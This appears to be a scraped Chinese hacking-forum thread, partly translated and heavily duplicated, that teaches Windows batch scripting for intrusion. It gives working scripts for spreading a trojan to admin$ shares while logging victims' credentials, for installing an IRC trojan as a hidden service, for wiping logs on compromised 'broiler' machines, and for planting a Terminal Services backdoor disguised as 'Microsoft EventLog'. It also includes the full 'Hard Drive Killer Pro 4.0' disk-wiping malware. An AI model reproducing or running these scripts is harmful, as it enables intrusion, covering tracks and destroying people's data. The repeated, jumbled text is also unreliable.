2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
This command may be simpler when doing backups, such as:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup
If the backup.mdb file exists on the remote server, the copy command will be executed. If the file does not exist, the copy command will not be executed. This usage can replace IF exist :).
3. ||
Usage: First command || Second command
In this way, multiple commands can be executed at the same time. When an executed correct command is found, the subsequent commands will not be executed. If no correct command appears, all commands will be executed until the end;
Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
Example of using compound commands:
Sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
IV. Use of pipeline commands
1. | command
Usage: First command | Second command
Use the result of the first command as the parameter of the second command. Remember that this method is very common in unix.
Sample:
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
Did you see it? It is used for terminal services to allow us to customize the starting program for users, to realize letting users run the following bat to obtain the IP of the logged-in user.
2. >, >> output redirection command
Redirect the output result of a command or a certain program to a specific file. The difference between > and >> is that > will clear the content in the original file and then write to the specified file, while >> will only append the content to the specified file without changing its content.
Sample 1:
echo hello world>c:\hello.txt (stupid example?)
Sample 2:
Nowadays, DLL trojans are popular. We know that system32 is a good place to hide. Many trojans are eager to get in there, and DLL trojans are no exception. In response to this, we can make a record of the EXE and DLL files in this directory after installing the system and necessary applications:
Run CMD--convert the directory to system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
In this way, the names of all EXE and DLL files are respectively recorded in exeback.txt and dllback.txt,
In the future, if an abnormality is found but the problem cannot be found by traditional methods, it is necessary to consider whether a DLL trojan has infiltrated the system.
At this time, we use the same command to record the EXE and DLL files in system32 to another exeback1.txt and dllback1.txt, then run:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt. (Compare the DLL and EXE files of the two times with the FC command and input the result into diff.txt), in this way we can find some extra DLL and EXE files, and then by checking the creation time, version, whether it is compressed, etc., we can more easily judge whether it has been visited by a DLL trojan. It is best if there is none. If there is, don't delete it directly. First use regsvr32 /u trojan.dll to unregister the backdoor DLL file, then move it to the recycle bin. If there is no abnormal reflection in the system, then delete it completely or submit it to the antivirus software company.
3. <, >&, <&
< reads command input from a file instead of from the keyboard.
>& writes the output of one handle to the input of another handle.
<& reads input from one handle and writes it to the output of another handle.
These are not commonly used, so no more introduction.
No.5
V. How to use batch files to operate the registry
In the intrusion process, it is often necessary to operate specific key values in the registry to achieve certain purposes. For example, to hide the backdoor, delete the residual key value under Run, or create a service to load the backdoor. Of course, we will also modify the registry to strengthen the system or change a certain attribute of the system. These all require us to have a certain understanding of registry operations. Next, we will first learn how to use.REG files to operate the registry. (We can use batch processing to generate a REG file)
Regarding registry operations, the common ones are creation, modification, and deletion.
1. Creation
Creation is divided into two types, one is to create a subkey (Subkey)
We create a file with the following content:
Windows Registry Editor Version 5.00
Then execute this script, and you have created a subkey named "hacker" under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.
Another type is to create a project name
Then this file format is a typical file format, consistent with the file format you export from the registry. The content is as follows:
Windows Registry Editor Version 5.00
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
In this way, three projects: Invader, door, about are newly created under
The type of Invader is "String value"
The type of door is "REG SZ value"
The type of Autodos is "DWORD value"
2. Modification
Modification is relatively simple. Just export the item you need to modify, then modify it with Notepad, and then import it (regedit /s).
3. Deletion
First, let's talk about deleting an item name. We create a file as follows:
Windows Registry Editor Version 5.00
"Ex4rch"=-
Execute this script, and "Ex4rch" under is deleted;
Let's take a look at deleting a subkey. We create a script as follows:
Windows Registry Editor Version 5.00
Execute this script, and has been deleted.
I believe that by this time, you have basically mastered the.REG file. Then the current goal is to use batch processing to create a.reg file with specific content. Remember that we mentioned earlier that using the redirection symbol can easily create a file of a specific type.
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『第 3 楼』:
使用 LLM 解释/回答一下
samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样：
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo >Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM
@REM 这样不是更安全.
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo >> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固系统（给肉鸡打补丁）的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM
@echo >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM
@echo >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM
@echo >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM
3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2"<img src="images/smilies/face-wink.png" align="absmiddle" border="0"> do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt"<img src="images/smilies/face-wink.png" align="absmiddle" border="0"> do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
Sample 1: As in the above example, if you want to generate the following registry file
Windows Registry Editor Version 5.00
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
Just need to do this:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo >>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
Sample 2:
When we are using some relatively old trojans, we may generate a key value under in the registry to achieve the self-start of the trojan. But this is very easy to expose the path of the trojan program, thus leading to the trojan being detected. Relatively, if the trojan program is registered as a system service, it is relatively safer. The following takes the configured IRC trojan DSNX as an example (named windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM
@REM This is safer.
VI. Exciting examples for you.
1. Batch file to delete the default shares of win2k/xp system
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo >> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2. Batch file for comprehensively reinforcing the system (patching the infected computer)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM
@echo >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM
@echo >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM
@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM
@regedit /s patch.dll
------------------------ cut here then save as .bat or .cmd file ---------------------------
The following command is to clear all logs of the infected computer, prohibit some dangerous services, and modify the terminal service of the infected computer to leave a backdoor.
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem
@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM
@echo >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo
>>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM
3. Hard Drive Killer Pro Version 4.0 (It's really not easy to play batch processing to this level.)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:Sampledrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
|
joomla! Autoit! |
|
|
2004-11-8 00:00 |
|
|
autoit
系统支持
积分 904
发帖 339
注册 2002-10-10
来自 厦门
状态 离线
|
『第 4 楼』:
使用 LLM 解释/回答一下
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo >> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.
:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------
2.全面加固系统（给肉鸡打补丁）的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo Windows Registry Editor Version 5.00 >patch.dll
@echo >>patch.dll
@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM
@echo >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM
@echo >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM
@echo >>patch.dll
